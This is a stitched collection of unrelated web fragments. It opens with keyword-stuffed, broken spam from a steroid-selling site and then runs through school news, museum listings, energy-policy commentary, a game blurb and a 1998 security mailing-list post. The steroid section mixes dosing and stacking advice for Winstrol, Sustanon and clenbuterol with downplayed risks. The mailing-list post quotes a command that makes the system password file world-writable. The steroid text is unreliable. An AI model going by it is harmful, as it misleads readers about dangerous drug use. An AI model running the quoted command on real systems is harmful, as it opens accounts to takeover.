• It regulates menstrual cycle- All Steroids World (38 %)
Ephedrine is a drug but It is available OTC. Athletes use It for several reasons. All Steroids World It can Increase thermogenesis. which is the ability to convert excess calories into heat instead of fat, by enhancing All Steroids World norepinephrine release. It has been found that people who store excess body fat are Insensitive to the chemical norepinephrine (NP). NP stimulates thermogenesis In the
Chemical = Formula = Molecular All Steroids World Weight = Mg of Testosterone
It is not known if orlistat is secreted in human All Steroids World milk. Therefore, Xenical should not be taken by nursing women.
Similar to testosterone and Anadrol 50R, Anabol is a potent steroid, but also
Since l mg corresponds to exactly 2.7 All Steroids World I.U. the 5mg solution of the compound Humatrope by Lilly contains exactl 13.5 I.U. of Somatropin. The 10 mg solution of the All Steroids World Protropin compound by the Genentech therefore contains 27 I.U. of Somatropin. In American powerlifting and bodybuilding circles All Steroids World Humatrope is usually preferred over Protropin. The reason is that Humatrope is synthesized from a chain of 191 amino All Steroids World acids and thus is identical to the amino acid sequence of the human growth hormones. Protropin, on the other hand, consists of 192 amino acids, one amino
Although this steroid is strongly androgenic, the anabolic effect All Steroids World of it is considered too weak for muscle building purposes. This is due to the fact All Steroids World that Provironum© is rapidly reduced to inactive metabolites in muscle tissue, a trait also characteristic All Steroids World of dihydrotestosterone, The belief that the weak anabolic nature of this compound indicated a tendency to block the androgen receptor in muscle tissue, thereby
Missed Dose
by Bill Roberts - Contrary to what many would expect, this compound is actually only a weak agonist of the androgen receptor (AR), with poor binding. All Steroids World It follows, then, that its value must mostly come from non-AR-mediated effects. All Steroids World It is therefore a Class II steroid. Since it is not very effective in activating ARs, it should be stacked with a Class I steroid that is effective All Steroids World in this regard, such as Primobolan , Deca Durabolin , or trenbolone acetate . There is no point in stacking it with Anadrol®,
Winstrol 2 mg tab.; Winthrop Pharm. U.S., Upjohn U.S., Zambon ES, Much of what has been said about the injectable Winstrol is more or less also
• It reduces body fat ( 72%)
They will give you advice on what to do, which might All Steroids World include:
In general, daily use for three months or more is necessary before benefit is All Steroids World observed. Continued use is recommended to sustain benefit. If Propecia has not worked in 12 months, it is unlikely to All Steroids World be of benefit.
Anavar / Oxandrolone / Oxandrin
Testosterone cypionate is a long acting ester of testosterone which is increasingly difficult to find.Before the scheduling
Each 10ml multidose vial contains 75mg per ml. Beginning in May, 2005, new flip-off tops are purple
The above information All Steroids World is intended to supplement, not substitute for, the expertise and judgment of your physician, or other healthcare professional. It should not be All Steroids World construed to indicate that use of clenbuterol is safe, appropriate, or effective for you. Consult your healthcare professional All Steroids World before using clenbuterol.
Testosteron Enantat causes strength and energy increase and the feeling of well being with a lot All Steroids World shorter recuperation times, it is usually used as a part of bulking cycles and works especially
For men the usual dosage of Winstrol is 15-25mg All Steroids World per day for the tablets and 25-50mg per day with the Winstrol injectable (differences based solely on price and quantity). Stanozolol is All Steroids World often combined with other steroids depending on the desired result. For bulking purposes, a stronger androgen like testosterone, Dianabol All Steroids World or Anadrol is usually added. Here Winstrol will balance out the cycle a bit, and give All Steroids World us good anabolic effect with lower overall estrogenic activity than if taking such steroids without it. The result should be a considerable gain in new muscle
How can we maintain high HGH levels as we age?
The most common side effects when using tadalafil are headache, indigestion, All Steroids World back pain, muscle aches, flushing, and stuffy or runny nose. These side effects usually go away after a few hours. All Steroids World Back pain and muscle aches can occur 12 to 24 hours after taking the drug, and the symptom usually disappears after 48 All Steroids World hours.
Anabolic Rating: 1900 (!)
Yet another amazing trait of trenbolone All Steroids World that must be noted is its ability to improve feed efficiency and mineral absorption in animals given the drug (8). To help you understand what this means for you, feed efficiency is a measurement of how much of an animals
It is also relevant to note that All Steroids World muscle repair and growth begins in the hours and days following heavy exercise. It is doubtful that the use of insulin just prior to a workout will have All Steroids World any anabolic effects over and above natural processes, at this time. However, use of insulin All Steroids World prior to a workout will certainly expose you to much greater risk of serious harm. If you believe it is beneficial to have a higher insulin
You should make sure that keep your Phentermine All Steroids World medications at room temperature and keep it away from elements that might harm the medication. Also keep this medication out of the reach of small All Steroids World children. This medication is for adult use only.
In order to gain mass All Steroids World fast Sustanon is often combined with Deca Durabolin, Dianabol (D-bol) or Anadrol while athletes All Steroids World who are more into quality prefer combining it with Parabolan, Winstrol, Anavar or Primobolan Depot.
Androlic / Anadrol comes as a tablet containing 50mg oxymetholone, to take by
Oxydrol is the only oral anabolic-androgenic steroid All Steroids World indicated in the treatment of anemias caused by deficient red cell production. Oxymetholone is contraindicated in: male patients with carcinoma All Steroids World of the prostate or breast; females with hypercalcemia with carcinoma of the breast, women who are or may become pregnant; ipatients with nephrosis or the nephrotic phase of nephritis; patients with hypersensitivity
Nolvadex is also useful during a diet since it helps All Steroids World in the burning of fat. Although tamoxifen has no direct fatburning effect its antiestrogenic effect contributes All Steroids World to keeping the estrogen level as low as possible. Nolvadex should especially be taken together with the strong androgenic All Steroids World steroids Dianabol and Anadrol, and the various testosterone compounds.
You should be aware that Proviron All Steroids World is also an estrogen antagonist which prevents the aromatization of steroids. Unlike the antiestrogen Nolvadex which only blocks the estrogen
HGH itself does carry All Steroids World with it some of its own risks. The most predominantly discussed side effect would be acromegaly, or a noticeable thickening All Steroids World of the bones (notably the feet, forehead, hands, jaw and elbows). The drug can also enlarge vital organs such as the All Steroids World heart and kidney, and has been linked to hypoglycemia and diabetes (presumably due to its ability to induce insulin resistance). Theoretically, All Steroids World overuse of this hormone can bring about a number of conditions, some life threatening. Such problems however are extremely rare. Among the many athletes
Active life: 2-3 All Steroids World days
Day 14: 60 mcg
What is more interesting to me is the role of NO on muscles during resistance training. JE Anderson found that NO appears to be a vital signal in the activation of muscle satellite cells in response to damage. Satellite cell
Reductil works like other appetite suppressants All Steroids World on the market by increasing the amount of serotonin and catecholamine in the brain. Serotonin and catecholamine are All Steroids World two important chemicals that control mood and appetite. When levels of serotonin and catecholamine are raised, your appetite All Steroids World decreases.
CIALIS is not for everyone. If you take nitrates, often used for chest pain (also known
Day 6 - Day 12: 100 mcg
The comparisons to the current drugs used for dieting are astounding, at least in terms of thermogenesis. While
A Natural Method of Maintaining an Elevated Blood Insulin Level:
Nolvadex C&K All Steroids World (Tamoxifen Citrate)
by Bill Roberts - This substance, used in some Australian veterinary products, All Steroids World is to be avoided by male bodybuilders. It is highly estrogenic, and has no redeeming All Steroids World properties. It is a poor anabolic and the mythical "receptor-cleaning" properties that have been claimed for All Steroids World it are pure fantasy.
Other medical problems — the presence of other medical problems may affect the use of benzodiazepines.
The above information All Steroids World is intended to supplement, not substitute for, the expertise and judgment of your physician, All Steroids World or other healthcare professional. It should not be construed to indicate that use of oxandrolone is safe, appropriate, All Steroids World or effective for you. Consult your healthcare professional before using Anavar.
The above information All Steroids World is intended to supplement, not substitute for, the expertise and judgment of your physician, or other healthcare professional. It should not be construed to indicate that use of Xenical is safe, appropriate,
ACTIVE SUBSTANCE: Stanozolol.
Nolvadex (Tamoxifen) All Steroids World additional information:
Clomid also has the property of reducing the adverse effect of exercise-induced damage of muscle tissue. All Steroids World This is very significant for endurance athletes but is not very significant, if at all significant, with All Steroids World reasonable weight training. Clomid does not perceptibly affect gains of the weight trainer either favorably All Steroids World or adversely in my experience.
• It improves healing capacity- (71%)
Testosterone enanthate
4. In a few very rare cases the body reacts by developing antibodies to the exogenous STH,
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Anabolic steroids were developed in the late 1930's primarily to treat hypogonadism, a condition in which the testes do not produce sufficient testosterone for normal growth, development, and sexual functioning. The primary medical uses of these compounds are to treat delayed puberty, some types of impotence, and wasting of the body caused by diseases.
Anabolic steroid is the familiar name for synthetic substances related to the male sex hormones (androgens). They promote the growth of skeletal muscle (anabolic effects) and the development of male sexual characteristics (androgenic effects), and also have some other effects. The term anabolic steroids will be used through-out this report because of its familiarity, although the proper term for these compounds is anabolic-androgenic steroids.
During the 1930's, scientists discovered that anabolic steroids could facilitate the growth of skeletal muscle in laboratory animals, which led to use of the compounds first by bodybuilders and weightlifters and then by athletes in other sports. Steroid abuse has become so widespread in athletics that it affects the outcome of sports contests.
Steroids have been used in bodybuilding since the early 50's and since then have been the common denominator between all the massive guys you see in the magazines and on stage. Big name bodybuilders like Arnold Schwarzenegger have even admitted to using them, not that it wasn't obvious already. It is with an old pro wrestler named Rick Drason who used to work out with Arnold and some other big name bodybuilders. It isn't uncommon for a pro bodybuilder to use steroids year round and even at doses of over 1000mgs of testosterone weekly. Most of them, even at this dosage, experience very few side effects.
There are three types of steroids:
Corticosteroids – Any of the natural or synthetic hormones associated with the adrenal cortex, which influences or controls key processes of the body, as carbohydrate and protein metabolism, electrolyte and water balance, and the functions of the cardiovascular system, the skeletal muscle, the kidneys, and other organs.
Androgens - Testosterone is the androgen that leads to the development of male secondary sexual characteristics and maintains the male reproductive system.
Estrogens and Progestogens - These are the female sex hormones. They are responsible for the development of secondary sexual characteristics in women and maintain the female reproductive system.


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"That's What She Read": My Summer Internship with Better World Books
Embracing Mistakes: Daniel Mendelsohn and Storytelling
Benefits of Studying Literary Theory
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Over $10,000 will be awarded for student works presented at the convention. View the convention website for the call for submissions and other convention information.
Sigma Tau Delta's National Service Partner, Better World Books (BWB) Campus Textbook Drive, is a turnkey project, including all supplies, promotional materials, packing supplies, and shipping costs. Last year, chapters collected 15,880 accepted books. View the results of the top 25 campus textbook drives.
Collecting books on your campus raises money for your chapter, helps find new homes for used books, supports literacy nonprofits, and keeps books out of landfills. Five percent of the net sales of the books collected by Sigma Tau Delta chapters will be donated to benefit a literacy initiative in our convention host city, Albuquerque, NM.
Host a book drive to benefit literacy initiatives worldwide, while at the same time raising funds for your chapter. The fall season runs through December 12. To start your book drive today, visit BWB's Campus Textbook Drive Resource Center.
During the month of October, receive 25% off on ALL Sigma Tau Delta merchandise, including graduation and clothing items. Regular shipping charges apply.
Chapter Administrators ordering through Write Away will automatically receive the 25% discount. During October (ONLY), individual members may place direct credit card phone orders by contacting Karen Larsen at (815) 981-9974 x142, Monday - Friday, 8:00 a.m. - 4:30 p.m. CST. Phone messages cannot be accepted for this special sale.
Merchandise Price List and Sale Details


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Every two years, University Interscholastic League officials meet in their sequestered location in Austin to finalize the most secure of secrets, the biannual realignment.Athletic directors and coaches have no idea until about 9 a.m. on the first Monday in February – for this one, it will be next Monday – who they share their district homes with for the next two years. The guessing games are endless and maddening. Except for the selected members, no one knows anything.But here's what we do know. The classifications have changed. Class 5A is now 6A, 4A is 5A, and so on. Texas high schools know what classification they are in. That will help scheduling. Grapevine is dropping down to 5A. Northwest Byron Nelson is moving up to 6A. The fallout from this is how the rivalries will change. The Northwest ISD finally gets what it needs with Northwest and Nelson playing each other in every sport. For the Grapevine-Colleyville ISD, the tone of the Grapevine and Colleyville Heritage rivalry will be different because they won't be partners. Non-district contests must take that place."We'll play in non-district," Grapevine football coach Dave Henigan said. "Truthfully, I don't think it will impact the rivalry that much. They won't have the playoff implications like we've had. But it's still going to be a battle. There's going to be a big crowd and the atmosphere will not change."It's just that non-district football games will have to be played in September instead of October, non-district basketball will go in November or early December instead of January, non-district soccer matches will be played in January instead of February and March, and non-district baseball and softball are looking at February and March rather than April.Relocating to a smaller classification should help Grapevine become more competitive. It has been one of the smallest 5A schools in the state. When you are lining up on a football field, that size shows up on the line of scrimmage and depth."Any coach will tell you they would prefer to be the largest in their classification rather than the smallest," Henigan said. Byron Nelson will probably feel like Grapevine felt because it turned it in an enrollment number a little over 2,300 students. The UIL cutoff for 6A was 2,100. The competition definitely will change especially against the second division teams. A weaker 6A team is generally considered better than a weaker 5A team.However, the anticipated games between Nelson and Northwest that will count in the standings will finally happen.Everyone in that part of North Texas has been counting down the days."It's great for the communities," Nelson coach Brian Polk said. "One side of the stadium will be us and the other side will be Northwest. It should be a packed house. I can see people standing in the end zones on the grass."The good thing for us is that our kids have kind of seen this intensity from our district with Denton Guyer and Wichita Falls Rider. And we know we're on the low end of the totem poll for enrollment. We just have to get through it."Then there's the wild card in Carroll. This school can go anywhere. Carroll could go west, because the number of 6A West Texas schools is diminishing. It could stay where it was with the Keller ISD schools and Northwest. It may jump over to the Lewisville ISD along with Denton Guyer and Denton Ryan. Colleyville Heritage also has a different outlook, because it's running solo. It may be Carroll's partner.The angst is real. Once the white smoke appears on TV screens, emotions will run high. Once that has subsided, it's time for the schools to get to work and make nice.Why? Because the UIL said so.
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Papadosio in Los Angeles.
Goth problems
Remember that time in high school when you were told to go see the counselor because of obscure writing or art?
Not suicidal, teach…I just liked dark stuff dude.
One of my poems got accidentally turned in once. A day later i was in front of the councilor trying to explain it wasn't a suicidal poem but about desires for personal growth and strength. They didn't trust me and made me show it to my mother and have her sign it as proof.
The importance of a trained photographic eye
The photography business is more challenging now then ever. Everyone seems to have a camera. Plenty of those people have a better camera then my little Nikon D90. So I present to you the reason why paying more for an experienced photographer is worth it. The first photo is straight out of the camera. The second photo features controlled lighting, prop styling and editing. Both were shot on my Galaxy S 2 to prove that expensive camera equipment doesn't make a photographer, knowledge of light does.


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Rise of Nightmares - Kinect (XBox 360)
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Rise of Nightmares heightens the horror experience like never before, forcing you to use your whole body against your enemies. Using cutting-edge technology, you will be trapped in a night-world of zombies, monsters and hellish scientists - and the only way out is to fight.
Horrifying and Compelling: Gory visuals allow you to enjoy the carnage
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Unique Motion Controls: Use fists, feet and weapons thanks to the power of Kinect for Xbox 360 and its unique control schemes.
Delve Deep Into the Nightmare: Explore the environment to uncover clues that point at your kidnapped wife's fate.
A Complete Game Experience: A full game with a compelling campaign, not just a collection of mini-games.
Core on Kinect: An unashamedly mature title amongst a sea of family friendly offerings.
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mailing list archives
On Sat, 30 May 1998, Chris Evans wrote:
The "ruid" idea and prevent exec/fork of suid programs, is a nice idea but
is really security through obscurity.
syscall chmod 666 /etc/passwd
You got a point there, but there are two things to remember:
- no system is secure... anything that helps, helps.
- it _will_ stop script kiddies, as most exploits seem to be based on
'standard shellcode by Aleph One'.
And stopping script kiddies is a _big_ part of the job. Most of the
systems I've seen hacked where hacked with your average rootshell exploit.
Greetz, Peter.
'Selfishness and separation have led me to . Peter 'Hardbeat' van Dijk
to believe that the world is not my problem . network security consultant
I am the world. And you are the world.' . (yeah, right...)
Live - 10.000 years (peace is now) . peter () attic vuurwerk nl
1:22pm up 4 days, 20:48, 3 users, load average: 1.40, 0.72, 0.30
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mailing list archives
What's the source on this?
60 Hudson is almost a full mile from the WTC as the crow flies. I can't
imagine that it is in danger of collapse, although it is in the "no drive
zone" being enforced south of 14th street.
Two separate companies with facilities in it have sent out
private notifications (which I haven't been told I can pass
on publically yet...).
-george william herbert
gherbert () retro com
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The Connecticut River spans 410 miles from the border of Canada to Long Island Sound. Inside the Connecticut River Museum, visitors can span that space through exhibits that tell the stories of the river and the people who have lived along it. Aerial photographs and a large mural depict the evolution of the river communities through time, and the "On the Great River" exhibit showcases the early history of the river through artifacts and works of art. A reproduction of David Bushnell's "Turtle" allows visitors to get up close to the submarine, turn the propeller, and pump the ballast intake. A huge mural, cannonballs, and ship fragments recall the night in April, 1814 when British forces traveled upriver and burned the privateer fleet in Essex. The river played a key role in the development of towns and cities in New England, providing everything as transportation routes to waterpower.
Along with long term and special exhibits, the Museum offers educational programs for adults and children as well as seasonal boat cruises up the River. Cruises travel along the lower river valley, labeled one of America's last great places by the Nature Conservancy.
The Shore Line Trolley Museum?founded in 1945?pays tribute to the bygone era of suburban trolleys. In its multisensory collection, the museum boasts nearly 100 vintage trolleys and exhibits chock-full of trolley-related artifacts including tokens, hat badges,and ticket punches.Throughout the year, the museum hosts seasonal events, from haunted trolley rides at Halloween to visits with Santa at Christmas.
The Long Island Aquarium & Exhibition Center throws its visitors into the shark tank. And the tropical lagoon. And the salt marsh. As executive director Bryan DeLuca noted in the New York Times, the center (formerly Atlantis Marine World) is one of the most interactive aquariums in the area, which snagged it a place on Parents magazine's list of the 10 Best Aquariums for Kids. The Atlantis-themed aquarium's educational exhibits combine myth with science as they bring guests face to gills with creatures such as eels, jellyfish, seals, and clownfish. In addition to its indoor and outdoor exhibits right on the banks of the Peconic River, the aquarium delights guests with aquatic adventures such as snorkeling or receiving a photo op and kiss from loveable sea lion Java, who still dreams of one day being turned into a beautiful princess.
The Long Island Science Center seeks to promote the knowledge and love of science, mathematics, engineering, and technology in people of all ages. They adopt a "learning by doing" philosophy, which results in myriad interactive exhibits that explore subjects such as volcanoes, Egyptian hieroglyphics, the planets, and crime scenes. The museum also holds regular special and seasonal events, as well as special programs for school groups.
At the Children's Museum of Southeastern Connecticut, kids can build skyscrapers out of giant foam blocks, experience flight with a small zipline, and learn about cultures on other continents in a global village. Apart from the sciences, the exhibits also focus on the arts and health, whereas two outdoor play places make it easy to burn off energy with a climbing wall and tree house. The 5,000-square-foot museum has everything children need to explore, leaving them only limited by the power of their imaginations.
The fresh breezes that buffet Mystic's shoreline probably feel much the same as they did 150 years ago, so it's a fitting place to find America's nautical history resurrected. Called Mystic Seaport: The Museum of America and the Sea, includes 19 acres of exhibition space. In addition to the museum proper, the complex hosts a recreated 19th-century sea-faring village, a working shipyard, and extensive gardens that blanket the grounds. Live museum staff lead demonstrations and performances throughout, even welcoming guests aboard the National Historic Landmark vessels moored in port. On Wednesdays through Mondays, captains take visitors out on the water in a coal-fired steamboat to experience the river and town from a different angle. They also rent out their small boats seasonally, to visitors who can comfortably handle being in charge of a boat. When tired of ship studying and naval gazing, guests can head to the Treworgy Planetarium and turn their eyes to the stars, learning how to chart courses in the manner of ancient captains, modern astronauts, and late-night deliverymen.


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Daily News @ http://RevolutionNews.US - But video survived even after police tried to destroy phone...
Miami Beach police did their best to destroy a citizen video that shows them shooting a man to death in a hail of bullets Memorial Day.
First, police pointed their guns at the man who shot the video, according to a Miami Herald interview with the videographer.
Then they ordered the man and his girlfriend out the car and threw them down to the ground, yelling "you want to be fucking paparazzi?"Read more »


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RED RIBBON WEEK: October 27th - 31st
The red ribbon was adopted as a symbol of the movement in honor of Enrique "Kiki" Camarena, an agent with the U.S. Drug Enforcement Administration who was kidnapped and killed while investigating drug traffickers. This campaign has reached millions of children and has been recognized by the U.S. Congress. Red Ribbon Week is a time designated to reflect on the progress made and to actively promote a "Drug Free Life". It is a time when parents, community, schools, and law enforcement collaborate to keep our youth SAFE & DRUG FREE.
You can find Southside High School's Red Ribbon Week activities outlined here.
"Without even knowing it, they were "working" on all of the aspects of communicating messages effectively as well as connecting texts to other situations. They had (and wanted!) to be precise with their punctuation, spelling, and word choice, use research skills, consider visual presentation, focus a message for an intended audience, and be specific with examples."
TexasFootball.com partners with the U.S. Army for the Army Strong Team of the Week throughout the Texas high school football season, as well as the Team of the Year award at the end of the season.
Each week, TexasFootball.com and the U.S. Army join together to select one team from every classification in high school football that demonstrated the qualities exhibited within the Army - those include leadership, commitment to excellence and a desire to make a difference as a member of a team. Each is awarded the Army Strong Team of the Week by local officials from the U.S. Army at a school assembly or pep rally. Southside High School is proud to announce that our Varsity Football Team was selected for week 7 of the 2014-2015 school year. Go Cardinals!!!
• Senior Trip
• College 101 Overview
• Upcoming College Visits
• Financial Aide Tips for College
• Counselor Office Resources
• Parent Portal Contact Information
• Go Lab Hours and Information
1) PSAT determines National Hispanic Merit Scholars - We are proud to have had two
graduate from SHS last year!
2) PSAT helps identify potential AP students who have been overlooked - Our
"Diamonds in the Rough"
3) PSAT serves as a practice for the real SAT test.
4) PSAT/SAT promote college readiness on our campus.
5) SAT gives all students an opportunity to take the test instead of only those who
show up on a Saturday.
6) PSAT/SAT will expose our students to similar higher order thinking questions as
End of Course Exams.
We are proud to be one of few high schools in San Antonio to give this opportunity to our students!
Express News Defensive Player of the Week 10/11/14
Johnny Herrera, Southside: Freshman, safety — Returned an interception 46 yards for a touchdown and was part of a defense that limited Somerset to its lowest scoring output in a 17-14 win. Somerset had scored at least 40 points in its previous four games.
Read more about the Cardinals season here, in the Express News article titled, "Southside turns the corner," by David Hinojosa. Go Cardinals!!!
Coach Vincent Nominated for Football Award
Anyone Can Vote; See below!
We are proud to announce that Varsity Football Defensive Coordinator Coach Charles Vincent has been nominated for the Built by Nature Assistant Coach of the Week award, presented by Dairy Max and Dave Campbell's Texas Football. Texas Football.com lists Coach Vincent as being nominated because:
After going 1-9 a year ago, Southside is now 4-0 this year following their 34-7 win last Friday against Eagle Pass Winn. The Cardinal defense is a major driving force behind the turnaround, having dominated all season with six sacks, three interceptions and four fumble recoveries.
Coach Vincent is one of five nominees for the weekly statewide award, which is 100% decided by fan voting. The recipe for success, we've found, is schools that utilize social media to spread the word to their students, faculty, staff, coaches, parents and anyone that supports their team and community.
Voting will be conducted via Twitter
Here are links announcing nominees along with instruction for voting:
Texasfootball.com story announcing candidates: http://texasfootball.com/assistant-coach-of-the-week/
DCTF Facebook post announcing candidates: https://www.facebook.com/davecampbells/posts/10153185598425410?ref=notif¬if_t=like
Best of luck to Coach Vincent in the voting, and Go Cardinals!
The Center of Excellence for Mathematics invites teenage females to attend the annual Women Breaking Through Conference on Saturday, October 11, 2014 (WBT Flyer).
The conference is designed for women by women to instill confidence and awareness of the fastest growing career pathways in science, technology, engineering and mathematics (STEM). Various STEM female experts will discuss how a balanced personal and academic plan can lead toward becoming a professional in their field. Presenters will also engage young women with mini hands on activities that
involve STEM concepts and principles in the center's laboratories.
- Conference admission is free and includes a catered lunch! -
WHO: Young Women, 8-12 Grade
WHAT: STEM Conference
WHEN: Saturday, Oct. 11, 2014. 9-3 pm
WHERE: Centers of Excellence for Mathematics
St. Philip's College, Southwest Campus
800 Quintana Rd, San Antonio, TX 78211
HOW: Register Here!
For more information text STEM to 55000 or contact center director, Maria Rodriguez, at firstname.lastname@example.com.
September 16th, or Diez y Seis de Septeimbre as it is more commonly known, is Mexican Independence Day. Students in Ms. Rebecca Torres's Pre-AP Spanish class commemorated the Mexican holiday with presentations that included reports on regional foods, customs and culture. To the left is a group picture of Ms. Torres's class as they gather in a hall where they displayed their work.
Southside High School's award winning artist and Art Teacher, Ms. Kathy O'Rourke, presents a wide variety of mediums and art forms for her Art students to consider and work with throughout the year. This past week Ms. O'Rourke taught on Mandalas and writes:
"I introduced the lesson [on Mandalas] as an ancient form of spirituality from India and Tibet. Mandala means circle, but the mandala itself represents the universe and all it might contain. Buddhist monks make these today out of colored sand. The designs are rather intricate and can represent a lot of things. After they are finished, to emphasize the impermanence of all things, they destroy it. These are mandalas that [students] designed and painted."
SHS Cardinals of the Week for September 8th - 12th, 2014
Every week Southside recognizes students who represent the best of our school and community by celebrating their excellence; whether their impact or accomplishments occur inside or outside of the classroom. This week we recognize Sophomore Grecia Salazar for her initative and creativity in creating her own Food Blog. We also recognize Junior Zachary Henry for his contributions to a winning Varsity Football Team and Junior Carmen Ferrera for her caring attitude in making sure all students are welcomed at SHS; not pictured. Way to go Cardinals!
At the beginning of every school year, Mrs. Liza Ramirez's English II classes write an introductory essay to introduce themselves. This year, Sophomore Grecia Salazar shared her passion for cooking and aspirations for a career in the Culinary Arts. She has gone to great lengths to start her own Food Blog, share how-to videos filmed by her younger sister, and even bakes cakes for various occasions. We are proud to share with you her talent, creativity, and initiative!
Southside High School
1460 Martinez Losoya Road
San Antonio, TX 78221
phone 210.882.1606
fax 210.626.0119
Principal: Hector Esquivel
Vice Principal/Academic Dean: James Diaz
Assistant Principal Research and Accountability: Maria Faqier
Assistant Principal Student Support and Retention:Theresa Aguilar
Assistant Principal Student Support: Carveth Hall
A.C.E.S. Early College High School Administrator: Penny Pruitt
Career and Technical Education Specialist: Pete Barcenez
Thursday, October 30, 2014


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Tennis View Magazine
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Dominion Virginia Power and Appalachian Power are public utilities. They hold their monopolies by the grace of the people of Virginia, and are expected to act in the interest of the people they serve. In this case, they have manifestly failed to do so." — Ivy Main
Another state in the Southeast U.S. is recognizing the economic and environmental benefits of solar energy as commissioners, utilities and stakeholders in South Carolina are ironing out details of a new solar law that enables third-party leasing and contemplates the state's two investor owned-utilities utilities, collectively, installing an estimated 300 megawatts (MW) of renewable energy…
Net metering is voluntary in South Carolina, Idaho and Texas. There is no net metering in Alabama, Mississippi, Tennessee and South Dakota.
There is another dynamic in play which does not necesssarily show up as clearly in states where solar makes a lot more sense economically: the desire to be part of a like-minded community and share the learning experience of buying into a much-talked about technology that can scale to help reduce reliance on fossil fuels. Don't discount the bragging rights from one's rooftop.
This graphic projects coal plant closures in all 50 U.S. states. Guess which stand to lose 10 or more plants? Go to CountOnCoal.org for details.A few examples: Iowa, Indiana, Ohio: 15 each Kentucky, Pennsylvania: 13 each Illinois, Minnesota, Virginia: 12 each Colorado, Missouri: 11 each North Carolina: 10
Pressure from customers and other stakeholders is boosting utility commitments to programs and tools designed to save energy and enable markets for renewable sources of electricity, so says a report by Ceres, a sustainability-focused non-profit and Clean Edge, a research consultancy. But it depends on where you live. In some states – you can probably…
In less than 60 days, Dominion Virginia Power was able to file for and receive a rate increase boosting residential bills 4.1%.
Among the recommendations: ensure that all benefits, and not just the costs, of efficiency programs are accounted for.
Virginia has steered clear of clean energy policies that are creating jobs and businesses in dozens of states. Perhaps the biggest reason is that the state's energy policy – and the only market for electricity – is run by investor-owned Dominion Virginia Power which serves 70% of the state's electricity load. Curiously, that's not the case for natural gas, where households and businesses can shop prices and supply contracts offered by several for suppliers.
Virginia has steered clear of clean energy policies that are creating jobs and businesses in dozens of states. Perhaps the biggest reason is that the state's energy policy – and the only market for electricity – is run by investor-owned Dominion Virginia Power which serves 70% of the state's electricity load.
Jim Pierobon is Founder and principal writer of The Energy Fix. He is a policy, marketing and social media strategist who has reported on, testified and consulted about smarter grids, cyber-security as it affects the power grid, fossil fuel shortages, price spikes, energy efficiency and the rise and fall -- and the rise again of nuclear and renewable energy sources.
Read more about Jim Pierobon
Follow @jimpierobon Jim Pierobon @jimpierobon
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FORT MYERS, FL- It's a different kind of real estate market anymore. Home shoppers need to do more of the work by themselves. Gone is the time of spending days with a real estate agent looking at homes and neighborhoods. Today's shopper needs to do much of the leg work themselves, looking up homes online and checking the area out to see if they like it.
Home buyers need a real estate agent's help to close the deal. Once the shopping is finished buyers need to move quick because bargains don't last long. Real estate contributor Denny Grimes sits down with WINK News Now This Morning on Six TV to explain what's happening now.


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St. Patrick's Day is just around the corner. Which means this weekend, you and a gazillion of your closest corned beef and Guinness loving friends will be looking for the perfect place to post up and slam car bombs all day. Luckily for those who are unfamiliar with our local Irish pub scene, we've a ... More >>
See also: St. Patrick's Day Guide 2012 In a cultural and religious sense, St. Patrick's Day is a day of feast and celebration of Irish culture. Of course, for most of us it's simply a great chance to party. St. Paddy's falls on a Saturday this year, which means the green beer will flow in even m ... More >>
Irish poet and playwright W.B. Yeats once said, "The problem with some men is that when they're not drunk they're sober." We agree -- it can be an issue (although we think it goes for both men and women). Thankfully, we have an Irish pub or two (or ten) in town to help you fix your problem (or so ... More >>


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LOCKUP, featuring NAPALM DEATH bassist Shane Embury, NAPALM DEATH guitarist Jesse Pintado, former AT THE GATES/THE CROWN frontman Tomas Lindberg, and DIMMU BORGIR drummer Nick Barker, have recorded a live album during their Japanese tour in late June and are scheduled to release it in late 2002/early 2003 along with several new recordings, including a couple of as-yet-undisclosed covers. More information will be made available shortly.
LOCKUP To Issue Live Album
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